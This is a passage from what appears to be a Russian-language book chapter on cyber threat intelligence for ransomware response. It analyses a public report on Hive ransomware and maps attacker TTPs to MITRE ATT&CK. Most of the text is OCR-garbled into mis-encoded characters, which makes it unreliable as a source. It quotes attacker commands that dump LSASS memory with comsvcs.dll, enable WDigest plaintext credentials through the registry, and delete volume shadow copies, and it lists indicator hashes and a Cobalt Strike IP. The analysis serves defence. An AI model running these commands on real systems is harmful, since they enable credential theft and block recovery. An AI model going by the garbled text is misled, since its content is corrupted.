DTO HE BECh CIIMCOK ACUCTBHUM I1OCJIE MHIMJICHTA, a JIMIb HECKOJBbKO IIPUMEPOB, YTOOBI IOMOYb BaM IIOHSTh, YTO
OOBIYHO JIEJIAETCA HA DTOM DTaIle.

Haneroch, Teneps BbI JIyUIlE IOHUMAETE, KAK B 1I€JI0M BBITJISIUT TUIIMYHBIN IIPOLIECC PEArnPOBAHUSA HA
WHIIAICHTHI. JIOTIOJHUTEIBHBIE CBEACHUS MOKHO HaUTH B «PyKOBOJICTBE IO padOTe C MHLIUJICHTAMHU
KOMITBIOTEPHOM 0€301acHOCTH», ToArotoBjaeHHOM NIST.

BBIBO ABI

B 3Tol ri1aBe Mbl pacCCMOTpPEJIM Pa3IdYHbIC ATAIlbl IPOIIECCa pearupOBaHus Ha MHIIUICHTHI, YTOOBI Bbl MOIJIN
MOJYYUTh SICHOE IIPEICTaBICHNE 00 OCHOBHBIX dTanax 00pbObl C aTakaMH IIpOrpaMM-BbIMOraresaeii. Mbl
IPOJIOJKMM M3y4aTh 3TOT BOIIPOC, YTOOBI BBl CMOTJIM JIy4Ille OPUEHTHPOBATHCS B ACTAIIX.

Bhl yke 3HaeTe, 4To KubeppasBeaka — OYCHb Ba)KHasl 4aCTh MPOIECCa pearupoBaHus Ha MHIIUJCHTHI, [I03TOMY B
CJICYIONIEH I'J1aBe Mbl 0OCYJIMM pa3HbIE YPOBHHU aHAJIUTUKU U 00paTUM 0c000€ BHUMAHUE HA aTaKHU IIPOrpamMM-
BbIMOTratenei. Mbl MPOCMOTPUM OTKPBITBIM OTYET 00 yrpo3ax M U3BJICUEM U3 HErO Pa3HbIC BUbI JAHHBIX, YTOOBI
KakK CJeyeT pa3o0paThbCs, YeM OHHU OTIAYArOTCS.



BPAIA HY>)KHO 3HATb B JIMLIO:
KAK OENCTBYIOT BAHObI
OMNEPATOPOB
NMPOrPAMM-BbIMOIATENEN




B aTtom paspgene Bbl MO3HAKOMUTECH C KOHLENUUen Knbeppaseenku.

3TO HYXHO ANs Toro, 4Tobbl NonyYaTs, NPEeAOCTaBNATE U 3hhEKTUBHO
MCNONbL30BaTh Takue AaHHble B XOAE pearupoBaHusa Ha UHUWOEHTHI,
a Takxe NoHMMaTb, Kak AeUCTBYIOT HacToswme 6aHfbl onepaTtopos

nporpamMm-BbiMorarenemn.

JTOT pa3gen COCTOMT U3 cneayoLLUX rnas:

Masa 4. Kubeppazseaka v nporpaMmmbi-BbiMorarenu

MnaBa 5. TakTukuy, TEXHUMKKU U NpoUeaypbl rPyNn, 3aHMMaoLWMXCH
pacnpocTpaHeHuem nporpamm-soiMorarenemn

Mnaesa 6. CO6op gaHHbIX 0 KMbepyrposax, CBA3aHHbIX

C nNporpammamu-sbiMorarensamm

[naBa 4

KUBEPPA3SBE/IKA U
IHPOI' PAMMDbI-BBIMOI'ATEJ/IN

Kubeppa3Benka — 04eHb Ba)KHas 4aCTh pearupoBaHMs HA MHUMACHTHIL. [IpounTaB npeablaylyo IjaBy, BbI
JTOJKHBI OBUIM MOJYYUTh YETKOE MPEICTABICHUE O TEKYIIEH KapTUHE YIPO3 U METO/1aX, UCII0JIb3YEeMBbIX
3JI0YMBIIIJIECHHUKaMU. Ternepb BaXKHO HAYUYUTHCS OBICTPO BBINOJHATh aHAIW3 U IEPEXOAUTh K CICTYIOLINM
JTaraM pearupoBaHUs HA UHIIUJICHTHI.

Jlasmee Mbl 0OCYIMM pa3IdYHbIC TUITbI MH(POPMALIMK 0 KHOEPYIpo3ax: CTPaTerMYeCKyl0, ONIEPaTUBHYIO U
TakTU4YeCcKyro. [IpakTruka Bceraa jiydiine TeoOpur, HOATOMY B HallleM 00CYKJICHUH Mbl paz0epeM MyOIUYHO
JOCTYITHBIA OTYET, U3 KOTOPOT'O IMOMPOOYEM BBIJICTIUTh PA3IMYHBIC TUIIbI AHAJIUTUKH.

TakuMm 06pa3oM, B 3TOM rjiaBe Mbl paCCMOTPUM
BCe TUIIbI JAHHBIX 0 KNOEepyrpo3ax yepes Npu3sMy
NporpaMM-BbIMOraTeJieu:

. K10 1 nouemy — cTpaternyeckaa MHGopmaLua o0 Knbepyrposax.



. Kak nraoe — onepatmBHaa nHbopmauma o Knbepyrposax.
. YTO — TaKTnyeckaa nHbopmaLums o Knbepyrposax.

CrpaTterndyeckasa uHpopmManusa 0 KUGepyrpo3ax

Crpaterunueckas uH@opMalus o KHOEpyrpo3ax 0ObIYHO NpEeAHA3HAUYCHA IS JUL], IPUHUMAIOIIUX PEIICHMUS:
nupekTopa 1mo uHpopmanuonHon oe3zonacHoct (Chief Information Security Officer, CISO), nupekTopa 1o
nHpopManroHHBIM TexHouorusM (Chief Information Officer, CIO), texanueckoro gupekropa (Chief Technology
Officer, CTO) u ap. OHa BKJIIOYAET ONUCAHUE TJIOOATBHBIX HAIIPABJICHUH JIESITEIIbHOCTU U MOTUBOB
3JIOYMBIIIJICHHUKOB M Ja€T OOIIME OTBETHI HA BOIPOCHI «KTO» U «I10YeMy». DTa nH(opMalus o0ecreqnBaeT
CISO, CIO u apyrux pykoBoauTenen B chepe KnoepOe30macHOCTH TEXHUYECKUMU U TAKTUYECKUMU 3HAHUSIMH 1
MIOMOTAET UM MPEJIBUICTh, KAKME MOTYT MTOSIBUTHCS HOBBIE TCHACHIIUM B C(PEPE yrpo3.

Taknm 00pa3oM, «KTO» OTHOCUTCS K 3JI0YMBIIIJICHHUKAM, HAllEJIMBITMMCS HA OPraHU3alHI0, a «II0YEMY» — K HUX
MOTHBAIIUH.

C TOYKM 3pE€HUS MOTHUBOB KHOEPIPECTYITHUKH BIIOJHE MPEACKA3YEMbl, UX OCHOBHAS LI€Jb — ITOJYYUTH C 5KEPTBBI
neHbru. Kak npaBuiio, peub UAET O BECbMa 3HAYUTEIIbHBIX CyMMaXx.

J{pyroil BaAXKHBI MOMEHT — KaKHWE OpraHU3al[Mi CTAHOBSITCS MUILICHSIMHU 3JI0YMBIIILICHHUKOB. Hanpumep,
HEKOTOPBIE ONIEPATOPHI ITPOrPaMM-BBIMOTATENIEN HE aTAKYIOT OOJIbHUILIBI, TOCYJaPCTBEHHBIE YUPEKICHUS,
KITIOYEBbIC MHPPACTPYKTYpHBIC 0OBEKTHI U T.JI. DTO XOPOIIIO WLTFOCTPUPYET mpumep ornepatopoB BlackMatter,
KOTOpHBIE 3aIlpeIiar0T CBOMM IMOCOOHMKAM aTaKOBaTh ONPEJICICHHbBIE KaTeropuu opranusanui (puc. 4.1).

Teneps maBaiiTe 03HaAKOMUMCS C OTKPBITBIM OTUYeTOM KoMaHabl SentinelLabs «Artaku Hive. Ananu3 mporpamm-
BBEIMOTaTeJICH, YIIpaB/IsieMbIX YEJIOBEKOM, HAIICJICHHBIX Ha 3apaBooxpancHue» (Hive Attacks | Analysis of the
Human-Operated Ransomware Targeting Healthcare). Otuer gocrymen mo

cceiike: https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-
healthcare/.

Rules

We do not attack:

® Hospitals.

e Critical infrastructure facilities (nuclear power plants, power plants, water
treatment facilities).

® Oil and gas industry (pipelines, oil refineries).

® Defense industry.

® Non-profit companies.

e Government sector.

If your company is on that list you can ask us for free decryption.

Puc. 4.1. Pa3gen npaBui Ha BeO-caiiTe mporpamMmMmbl-BeiMoratesnst BlackMatterll

I nepBbIi K€ BaXKHBIN CTPATETMYECKUN (PAKT 3aKIFOYAETCS B TOM, UTO 11€JIb 3JI0YMBIIIICHHUKOB, MCIOJIb3YIOIINX
nporpamMmy-BeiMoraresb Hive, — yupexaeHus 3apaBooxpaHeHus. [a, HEKOTOpbI€ OnlepaTOPhl U UX COOOIIHUKU
MOT'YT CIELUAIM3UPOBATHCS HAa ONPEJICIICHHBIX 001aCTsAX OM3HEca WM OTPACIIsiX, HHOIJIa — B KOHKPETHBIX
cTpa”ax. B kadyecTBe npumepa ucciaeaoBareau npuBoasaT ooapHUIbl Memorial Healthcare System B Oralio.
OnucaHa aTaka ¢ MCIOJIb30BaHUEM IIPOTrPAMMbBI-BBIMOIaTeIs, B PE€3yJbTaTe KOTOPOM OpraHu3aiys Oblia
BBIHY>KJICHA IIEPEBECTHU MAIIMEHTOB HEOTJIOKHOM MOMOIIY U3 Psijla CBOMX OOJBHUIL B IPYTUE YUPEKACHMUS.
310yMBIIIJIEHHUKH OPEKPACHO IIOHUMAKOT, YTO IPEANPHUITHS OTPACIH 3JIpaBOOXPAHECHUS — OJIaronpusTHas
cpesia, KoTopas COASPKUT OOJIbIINE 00BEMBI JAHHBIX. B MEIMIIMHCKOM OTpaciii €CTh MHOT'O TOYEK BXO0J1a,
KOTOPBIE MO3BOJISIOT 3JIOYMBIIIJICHHUKAM IIPOHUKATh U MEpEeMEIIaThbCsl KaKk UM 3a0iaropaccyautcs. Eciau mMel
nonpoOyeM yriayOUThCS B 3TOT acIEKT U IIpOaHaIN3UpOBaTh JaHHBIC JKEPTB, JOCTYIHBIC Ha caiiTe yreuek (DLS)
3JIOYMBIIIJICHHUKOB, MOKHO HAMTH €I1ie O0JIbIIE TaHHBIX, CB3aHHBIX ¢ aTakamu (puc. 4.2).

ITOCKOJIBKY CIIMCOK KEPTB HE OTPAaHUYMBACTCSI OpraHy3aIMsIMM 3pPaBOOXPaHECHHUS, aHAJIU3 MOXKET AaTh 0ojee
o IpOOHBIN 0030p Lieaei. ITO MO3BOJIMT JUIAM, IIPUHUMAIOIIUM PEIICHUS, ITOJYYUTh SICHOE IIPEACTaBICHUE O
TOM, peajibHa JIU yrpo3a JJis uX On3Heca.
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Puc. 4.2. Undopmanms o xeprse ¢ DLS Hive

Kpome Toro, u3 otdera BUJIHO, YTO T'pyIla, CTOSIIAS 3a MporpaMMor-BeiMoraresneM Hive, Becbma aktrBHa. OHa
Hayaja CBOIO JACATEIbHOCTh B KOHIIE HiOHA 2021 1. 1 yke npoBena He MeHee 30 yCIemHbIX aTak. DTOT (akT
TaKXK€ MOXET IOMOYb PACCTABUTh MPUOPUTETHI B 0OOPOHUTEIBLHON CTPATETUM.

JlaBaiiTe moapoOHEES PAaCCMOTPHUM OIIEPATUBHBIC CBEACHHS 0 KHOEpYyrpo3ax, KOTOPhIC MOKHO M3BIICUb U3 OTUYCTA.

OnepaTuBHasaA HHPoOpMaLHUA 0 KUOepyrpo3ax

OnepatuBHas HH(GOpMAIUS O KHOEpYrpo3ax MOMOTaET IMOHATh BO3MOKHOCTH 3JI0YMBIIIJIECHHUKOB, 1a€T
npeJicTaBlIeHUe 00 UX HHPPACTPYKTYPE U, KOHEUHO kK€, O TAKTUKAX, TEXHUKAX U MpoLeaypax. ITOT BU/I
MH(pOpMaIUM TTO3BOJISIET HAM Y3HATh, «KaK» U «TAe», I03TOMY OH OPUEHTUPOBAH Ha aHAIUTUKOB L{eHTpa
ynpasiieHus 6e3omacHocThIo (Security Operation Center, SOC), cienuaancToB 10 pearnpoBaHMIO Ha
MHITUJICHTHI, «KOXOTHUKOB 3a yIpo3aMu» H T.]I.

Kak BbI, BO3MOXXHO, YK€ ITOHSJIM, OTBET Ha BOIIPOC «KAK» MO3BOJISIET OOpIIaM CO B3JIOMIIIMKAMU COOMPATh
MH(OPMALIMIO O PA3JIMYHBIX TAKTUKAX, TEXHUKAX W MPOIEaypax NPECTYITHUKOB U MIOMOIraeT OOHAPYKUTh U
HEUTPpAIM30BaTh NX. OTBEUas Ha BOIPOC «TJE», Mbl Y3HAEM, TJI€ UCKATh CJIEIAbl pCATM3ALMN PA3JIMUYHBIX TAKTHK,
TEXHUK Y MIPOLIEYP, YTO HO3BOIAET HAM MPUMEHATh YIIPEKIAIOIIUN TTOIXO.

JlaBaiiTe mpoaoKUM aHaau3 otdyeTa SentinelLabs o mporpamme-BeiMoratene Hive u cocpenoTounmcs Ha
pasaene «Texamueckuii anaaus» (Technical analysis).

OpHa 13 Iy4IInX CTPYKTYpP, ONMHUCHIBAIOIIAS TAKTHKH, TEXHUKHU U IIporieayps! (adri. tactics, techniques,
and procedures, coxp. TTP), — MITRE ATT&CK®.

MITRE ATT&CK® npeacraBisieT coOoi 0a3y 3HaHUW U CUCTEMY KJIaCCU(PUKALIUM JeMCTBUM
3JIOYMBIIIJICHHUKOB, IPEANPUHUMAEMbIX MU B X04¢ kKnOepaTtak. OHa COCTOUT U3 CICIYIOIINX OCHOBHBIX YaCTEH.

. TaKTMKN — TaKTUYECKUE LUEeNUn HapyLLINTeNen, Takme Kak NoJly4eHme nepBoHaYasibHOro A0CTyna K LLeneBou
ceTu.

. TexHUKkn — obwune onpegeneHna cpeacTs, KOTOPbIE 3/TI0YMbILNEHHUKN UCMONb3YIOT ANA AOCTUKEHUSA CBOUX
uenen, Hanpumep uenesou GULLIKHT.

. MNoaTtexHUkn — bonee KOHKPETHbIE ONUCAHNA METOA0B 3/10YMbILI/IEHHMKOB, TaKMUE KaK UCMO/Ib30BaHKe
BPE€AOHOCHbIX B/IOKEHUMN.

. Mpoueaypbl — Kak MMEHHO 3/10yMbILI/IEHHMK NCNOb3YET TEXHUKY UM NOATEXHUKY, HAaNpumep
BpeAoHOCHbIN aokymeHT Microsoft Office, BnoXKeHHbIN B LeneBoe GULLNHIOBOE 3/IEKTPOHHOE NMUCbMO.

B sToii kHure Mol 0yjem aktuBHO oOpamatbcsd K MITRE ATT&CK®, moaToMy, €ciiy Bbl HE 3HAKOMBI C 3TOM
0a3oii 3HaHUM, MoceTUTEe OPUITHATILHEIN caiT: https://attack.mitre.org/.

IIepBoe, yTO MBI BUAUM B pazjeiie «TexHnueckuil aHaiu3» otueTta SentinelLabs, — To, 4T0 HayalbHBIC BEKTOPHI
aTaku MOI'yT pa3ian4dathbcs. K coxkaneHuto, B 3TOM OTYETE HE Ha3BaHbl BOBMOKHBIC BAPUAHTHI.

3aT0 MBI cpa3y Ke y3HaeM O JII0OOMMOM (PpeliMBOPKE ITOCTIKCILIyaTalllny 3JI0yMbIIIeHHHKOB — Cobalt Strike.
IIpaBsa, B 0OTYETE HET HUKAKHUX ITOJIPOOHOCTEN O TOM, KaK HIMEHHO OH MCII0JIb30BAJICS BO BpeMs atak. B To ke
BpeMsI MCCIICIOBATSIIN ASIATCS HH(pOpManuei o npyrom uHcTpymenTe, ConnectWise — JeruTuMHOM
MHCTPYMEHTE YAAJICHHOTO aIMAHACTPUPOBAHMS, UCIOJIb3YEMOM 3J10YMBIIIJICHHUKAMU JIJIST OAIEP KaHUS
JIOCTYIIa K B3JIOMaHHOM ceTh. Kak BbI yxe 3HaeTe u3 riaBel 3 «IIponecc pearnpoBaHvsi Ha HHIMACHTHD,



HNCIIOJIb30BAHHUEC TAKHUX HHCTPYMCHTOB OYCHb PACIIPOCTPAHCHO CPCAHN I'PVYIIII, CBA3AHHbLIX C IIpOI'paMMaMU-
BBIMOTI'aTCJISIMU.

MITRE ATT&CK® coaepkut onucanue 3toro Merojaa. Ero ID — T1219, a nazBanue — Remote Access
Software (https://attack.mitre.org/techniques/T1219/). Cyts 3akiarod4aeTcs B TOM, YTO 3JI0YMBIIIJICHHUKH MOTYT
MCII0JIb30BaTh Pa3INUHbIC HHCTPYMEHTHI yAaJeHHOI0 JOCTYIIa, Takue Kak TeamViewer, AnyDesk u T.1., B
Ka4eCTBE aJIbTEPHATUBHBIX KaHAJIOB CBS3H IS PE3€PBHOIO JOCTYIIA K CKOMIIPOMETHUPOBAHHBIM XOCTaM.

Jlasiee Mbl paCCMOTPUM APYTUE METOBI, ONIMCAHHBIE B OTYETE.

\Windows\system32\cmd.exe /C rundll32.exe
\Windows\System32\comsvcs.dll MinDump 752 lsass.dmp full

Bo-1iepBEIX, MbI BUJIUM, YTO JJIS 3aITyCKa UCIIOIHSIEMBIX (PaiijIoB 3I0YMBIIICHHUKH MCIIOIb30BaM CMd.exe.
Teneps MbI 3Haem oaTexHUKY, a uMeHHO Windows Command Shell (T1059.003).

Kpome Toro, g 00Xo/1a 3alIUThI 3710 yYMBIIIJICHHUKH Hciioib3oBanu rundll32.exe — 3to nmpumep moarexHuku
«3alTyCK Ha UCIIOJIHCHUE Yepe3 MOANMCaHHbIe IBOMYHEIe (paiiimbl»y — signed binary proxy execution (T1218.011).

HakoHell, 0CHOBHAs II€JIb, KOTOPYIO MbI 3[1¢Ch BUAUM, — IOJIYYUTh JOCTYI K YUCTHBIM JaHHBIM. B qanHom
CJIy4ae 3TO CJEJIaHO ITyTEeM 3JI0YIOTPeOICHUS cucTeMHol oubanorexor comsves.dll mis momyuenns gama
npoiiecca 1sass.exe, To ecTh MOATEXHUKOMN JaMIUHra yaeTHBIX JaHHBIX OC — BEITpy3kH namsatu CepBrca
IPOBEPKHU MONIMHHOCTH JIOKaIbHOM cucTeMbl 6e3omacHoct (LSASS) (T1003.001).

3adyeM HYKEH Jamnuur? JIego B TOM, 4TO CUCTEMA XPAHUT B CBOEH MaMATH PA3JIMYHbBIE DJIEMEHTHI YUETHBIX
TAHHBIX, U, €CJIU 3JIOYMBIIUJIEHHUKHA CMOTYT COPOCHUTBH COAEPKUMOE MMaMATH Ha JUCK, OHH MTOJy4aT BO3MOXKHOCTh
HCII0JIb30BATh PA3JIMYHBIE MHCTPYMEHTHI JIJISI U3BJICUEHUS aKTYAIIbHBIX YYETHBIX JIAHHBIX.

YT100BI BKJIIOYUTH KOMIUPOBAHUC YUCTHBIX JAHHBIX B OTKPBITOM BHUAC, 3JIOYMBIINIJICHHUKHW BHCCJIN U3MCHCHUS B

peecTp, CHOBa 3ajieicTBoBaB cmd.exe:

\Windows\system32\cmd.exe /C reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest/v
UseLogonCredential /t REG DWORD /d 1 && gpupdate /force

Jt0 eme oguH MeTo, 3amokymeHTHpoBaHHBIM B MITRE ATT&CK®, — pemaktupoBanue peectpa (T1112).

Jpyroii BasxHbIM (paKT, IPEJICTABICHHBIA B 3TOM OTYETE, COCTOUT B TOM, UTO Ha 3TAre MOCTIKCITyaTaluu
3JIOYMBIIIJICHHUKHU UCITOb30Bain ADRecon. DTo elie oavuH MonyJIsipHbIM HHCTPYMEHT, ¢ IOMOIIBIO KOTOPOIO
MO>KHO H3BJIEKaTh pa3nydHble apTedakThl U3 cpeabl Active Directory, MHOTHE omiepaToOphl MIPOrpaMm-
BBIMOTaTeJICH NPUMEHSIOT €r0 Ha 3TaIl€ CeTEBOM pa3Beaku. OnsTh xKe, HeT HHPOpPMallMK O TOM, KAK UMEHHO OH
MCIOJIB30BAJICS BO BpeMs JaHHOM KamitaHuu. OQHAaKO, MOCKOJIBKY ATO MHCTPYMEHT Ha ocHOBE PowerShell, Ml
MOKEM BBIJICJIUTH €II€ OJHY IOJATEXHUKY MCIOJIb30BaHU MHTEPIIPETATOPA KOMAH/ U CLIECHAPUEB —
PowerShell (T1059.001). Cuuenapun PowerShell ouens pacnpocTpaHeHbI, H BbI CTOJIKHETECh C HUIMU B
KOHTEKCTE MOYTH JIFOOBIX MHIIUJICHTOB, CBSI3aHHBIX C aTaAKaMHU C MCII0Jb30BAHUEM IIPOTrPAMM-BbIMOIaTEICH.

Ciieayromnuii pas3jieisl 0T4eTa NOCBSIIEH aHAJIM3Yy caMO# MporpaMmbl-BeiMoraTesist Hive. OH Tak:ke MOXKeT
packpbITh HHPopManuio o TTP 3moymeinieHHUKOB. [IepBoe, 4TO MBI BUJIMM, — IIpOrpaMMa HamnrcaHa Ha
sa3bIke (GO, KOTOPBIM CTAHOBUTCA BCE 0oJiee U 00Jiee MOMYJISIPHBIM CPEX CO3AaTENICH TPOrpaMM-BbIMOTaTENEH.
BaxxHo u T0, 4TO mporpamMma ymnakoBaHna ¢ noMmoipto UPX, pacripocTpaHeHHOTO yIakOBIIMKA, UCTIOIb3YEMOT O
MHOTHMMH 3JI0YMBIIIJICHHUKAMU JIUIS1 00X0/1a HEKOTOPBIX CPEJCTB 3aIUTHI. 3/1ECh Mbl UMEEM JIENO C

MOJTEXHUKOM 00(pycKaluu (3anyThiBaHMs) (pailjioB MW HHPOPMALIMHU — YIIAKOBKOMW IIPOrPaMMHOI0
obecnieuenus (11027.002).

Jlamee Mbl BUJUM €I1I€ OJIMH OUY€Hb PaCIPOCTPAHEHHBINM METO/I, UCIIOJIb3YEeMbIii MHOTUMHU MPECTYITHUKAMH,
CBSI3aHHBIMU C IIPOTPaMMaMHU-BbIMOraTeIIsIMU, — OCTAaHOBKA psijia IPOLIECCOB U CIIY>KO0, YTOOBI O€3 MOMEX BCE
sammpoBath. B MITRE ATT&CK® 3am0kyMeHTHpPOBaH U 3TOT METOJI — OCTaHOBKa ciry»x0 (T1489).

Wnem panbliie — IporpaMma-BeIMOTaTelb CO3/IaeT MaKeTHRIN (aitn ¢ mMmenem hive.bat, koTopslii nconb3yeTcs
IUISL YJIAI€HHUSI KOMIIOHEHTOB BPEJIOHOCHOM IporpaMMbl. BOT ero coaep:xumMoe:

timeout 1 || sleep 1

del "C:\Users\adminl\Desktop\hmod4.exe"

if exist "C:\Users\adminl\Desktop\hmod4.exe" goto Repeat
del "hive.bat"

31mech MBI IMEEM JICJIO C ITOATEXHUKOM YIaJaeHHs CISO0B Ha XxocTe — yaaneHueMm ¢aitna (T1070.004).



DTO0 OBLI HE €AMHCTBEHHBIM MAaKETHBIN (DA, CO3JaHHbIM IIPOrpaMMO-BeIMOTaTeneM. Jpyrou dani, ¢
nMeHeM Shadow.bat, ucronb3oBancs ajis yaaleHUs TCHEBBIX KO, YTOOBI (haiibl HEIb3s OBIJI0 BOCCTAHOBHUTEH C
ITOMOIIBIO BCTPOEHHBIX BO3MOkHOCTEN OC.

BoT coaepkumMoe 3Toro KOMaHIHOIO (paitna:

vssadmin.exe delete shadows /all /quiet
del shadow.bat

31ech peub UIET 0 METOJIe MOAaBISHHS BO3MOXKHOCTEH BoccTaHoBIeHUs cuctembl (T1490).

I, HakoHeII, 0JTHAa M3 CAMBIX BaXKHBIX TEXHHK IIPOrPaMM-BhIMOTaTe el — ATO IMU(pOBaHNUE TaHHBIX JIJIS
OKa3zaHMs Bo3jacicTBUA Ha xepTBY (T1486).

JlaBaiiTe coOepeM HaiijiecHHbIC JaHHbIEC B TAOIHIIY.

TakTuka TexHuka (nogTexHuUKa)

| 3anyck ” VWindows Command Shell (T1059.003)
| | PowerShell (T1059.001)

O6xop sawuTsl Rundli32 (T1218.011)

YnakoBka nporpammHoro oéecne4venus (T1027.002)
Yoanenue cavna (T1070.004)
[ocTtyn K y4eTHbIM gaHHbiM | MamaTte LSASS (T1003.001)

Bozpgencteue OcTaHoBka cnyx6 (T1489)

MNopnaBneHmne BO3MOXHOCTEN BOCCTAHOBNEHUSA
cuctemsbl (T1490)

LLinchporaHme gaHHbIX ONg okazaHus BO3OencTBuA
Ha XepTBy (T148¢6)

Taonuma 4.1. Ceoauag tadmauiia MITRE ATT&CK

Kak BUHO U3 TaOJUIIBI, Mbl HE CMOTJIM PEKOHCTPYUPOBATh BECh KU3HEHHBIN IIUKJI aTaKu U3 OTYETA, HO BCE XK€
MbI U3BJIEKJIM MHOTO TTP, Ha 3HaHUA 0 KOTOPBIX MOXXHO ONEPETHCS KAK B XOJE€ pEarupOBaHUs HA UHIUJICHTHI,
TaK U OPU MIPOAKTUBHOM IIOUCKE YIPO3.

MBI IPOAOIKUM aHAJIN3 JIOCTYITHBIX OTYETOB B IJ1aBe 6 «COOp TaHHBIX O KMOEPYrpo3ax, CBSI3aHHBIX C
IIPOTrpaMMaMM -BbIMOTATEIISIMI.

TakTnyeckasas vHpopManua 0 KUOepyrpo3ax

TakTryeckas na@opMmaiys o KuOepyrpo3ax HyKHa JJj1d paOOThl pa3JIMYHBIX MPOAYKTOB 0€30I1aCHOCTH, TAKUX KaK
cHCTEeMa yIIpaBjcHHS HHpopMaIen u coosTusMu 0e3omacHoctH (Security Information and Event Management,
SIEM), MexxceTeBbIe SKpaHbl, CHCTEMBI 00HApYKeHH/TIpenoTBpamieHus Bropsxenui (Intrusion Detection
Systems/Intrusion Prevention Systems, IDS/IPS) u 1.1. ¢ naaukaTopamu kommpomeraruu (Indicators of
Compromise, 10C).

DTOT YpOBEeHb MH(MOPMAIIUM O KHOEPYIpO3ax COCPEAOTOUCH Ha TOM, «UTO» — YTO KOHKPETHO MPOUCXOIUT.
TpaaulIMOHHO ATOT BUJI AHAIIMTUKHU ObLI CaMbIM PACIPOCTPAHEHHBIM, U MHOTHE BEHIOPhI IIPEAOCTABIISIIIN TaK
Ha3bIBaE€MbIC (PHIbl — HOBOCTHBIC JICHTHI, MJIU JICHThI aKTYaJIbHOM MH(pOpMAILIMH, HO B HACTOSIIIEE BPEMS BCE
Ooubllie opranu3anuii opueHTUpyroTcsa Ha TTP, Tak kak K1acCUu4ecKUe HHAUKATOPhI UMEIOT OUY€Hb KOPOTKHUIMA
KU3HECHHBIU ITUKJI.

B 00abIIMHCTBE CAy4aeB 3TU UHAUKATOPHI COCTOAIT U3 IP-agpecoB, JOMEHHBIX UMEH U Xemield. OObIYHO XEIIn
OBIBAIOT CJCIYIOIIMX THUIIOB:

. MD5
. SHA1
. SHA256

DTUMHU UHJIUKATOpPaMH YJI00HO JEJIUTHCS C MOMOIIBIO MIAaTGOpPM aHaIM3a KuOepyrpo3, Takux kak MISP, nx
MO>KHO HCITOJI30BaTh KaK JJIs MCCIEI0BAaHMS, TaK U JIJIsl OOHAPYKEHMUS.

BepHemcs K 0TYETY, KOTOPBIM MBI aHAIM3UupyeM. B HeM ecThb pazaen «Haaukatopsl KoMmpoMeTanun». OH
coaepKuT psia xemel, kak Tuna SHA1, tak u tTunma SHA256. I1oCKoJIbKY 3TO X€IIK OJIHUX U TeX K€ (halJioB,
JaBaiTe cocpeaorounMcs Ha nepBom tuiie — SHAL:
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Ecnu BOCIIonp30BaThCs OJHUM M3 CEPBHUCOB IS aHAIU3a Pa3HOIro Pojia BpeIOHOCHOI'0 KOHTEHTA, HAIIPUMED
VirusTotal (https://www.virustotal.com/), MmoxxHO 00HAPYKHUTh, YTO BCE ITH XCIITN OTHOCATCS K IIITaAMMaM
nporpaMmmbl-BeiMoraresst Hive.

(1) 51sacurity vendors flagged this file as malicious & :i:
80bdedd7edcd20d28ad2192be 5 4b50esd4fR19441180 3194295567740 745 808.00 KB 2021-08-30 10:38:37 UTC %
Eene Sae 1day ago EXE
@ SAbAS  checke-cpu-name ove-2004-3931 detect-dobug-emvronment direct-cpU-CIOCK-00084E MPIOt IONg-HeeDt  petsn untime-modiles self-dolate
D @
DETECTION  DETALS  RELATIONS  BEHAVIOR comuuny @
Ad-Awnare (D) Trojan GenericKD. 46665489 Ahnlab-v3
Alibaba (1) TrojanWinadDalSkad Car7vef AlLYac I Trokn Ransom Filocoder
Antiy-AVL (1) TrojanGenarc. ASBOL.C489 SecureAge APEX
Arcabit () TrojanGe e D2C80FN Avast
VG (1) WinsaMalware-gen Avira (no Cloud)
BitDefendar (D Trojan GenenicKD. 46665459 CAT-QuickHesl () TrojnDeishad
CrowdsStrike Falcon () Winimalicious_confidance_100% (W Cytance
Cynet ﬂi‘x Maficious (score: 100) Cyren ':l Wéd/Filecoder 8L genTidorado
Drived '.j;' Trojan MulDrop 18,1354 Emaisoft -’, Tromn GenenckD 46565489 ()
eScen (1) TrojanGenericKD. 46665489 ESET-NOD32
FireEye (1) Trojn GenericKD 44645489 Fortinet 1) W32DeiShad GMMArransom
GData (1) TrojanGenoricKD. 44445489 Gridinsoft
Ikarus l‘~|"x Trojan- Ransoer v Jiangmin

Puc. 4.3. 3anucu VirusTotal qng ogHoro us xereu

C To4kM 3peHUs OOHAPYKEHUSI OHM HE OYEHB I10JIE3HBI, TAK KaK BEPCHUU MPOrpaMM-BbIMOraTesieil B OOJIBIIIMHCTBE
CJIy4aeB CO3JAIOTCS CIEIUAIBHO MO KAKAYIO aTaKy, a 3HAYNUT, UX XEIIX HEe OyIyT COBITAIaTh.

Kpome toro, B otuere ecth IP-anpec, cBsa3annsmi ¢ Cobalt Strike Beacon. Bel Bcerma moxxere coopaTh
JTOIOJIHUTEIbHYIO0 HH(popMaLuio 00 [P-agpecax, 0cOOCHHO IIpUHAICKAIIUX PA3TIUIHBIM (DpeHMBOpPKaM
OCTAKCILTyaTauuu. Hanpumep, MoKHO IpOBEPUTH, CBsA3aH ju cepBep ¢ Cobalt Strike (puc. 4.4).

Cobalt Strike

Puc. 4.4. Uudopmanus o npoBepeHHoM IP-anpece, coopannas miatdopmoii Group-1B MXDR

[Inarpopma Group-IB MXDR umeeTr QyHKILHIO IOCTPpOCHUS rpada CBI3€i, KOTOPYIO MOKHO MCHOJIb30BaTh JIJIS
cOopa JOMOJTHUTEIbHOM HH(pOpMAaIIMK 0 COOpaHHBIX BaMM MHAUKaTtopax. Ha pucynke 4.4 Mbl Buaum, uto IP-
agpec 176.123.8.228 otHocutcsa k cepBepy Cobalt Strike, moaromy komane 6€30MacCHOCTH CTOUT 3a0JJ0KUPOBATh
WUJIA IPOBEPHUTH €TO.

Kak BuauTe, qake aHajan3 KOPOTKOIO OTYETA, UMEIOIIETOCS B OTKPBITOM JIOCTYIIE, ITO3BOJIUT OIBITHOMY
AHATUTUKY cOOpaTh JOCTATOYHO MH(POPMALIMHA O KMOEPYrpo3ax, YTO MOKET ObITh OUYEHB IOJIE3HO MPHU
pearupoBaHUM HA UHIIUIACHTHI.



BBIBO ABbI

B 3T0#1 ri1aBe Mbl 00CYAWIIM PA3JIMYHbIC TUIIBI MH(OPMAIIMM O KHOEPYyTrpo3ax, B TOM YHCJIE CTPATETHYECKYIO,
OIIEpaTHUBHYIO U TAKTUYECKYI0 HH(DOPMAILIHIO, UX PA3JIMYHNS U LIEJIEBBIC ayAUTOPHUHU. MBI TaK)Ke H3y4UIIN
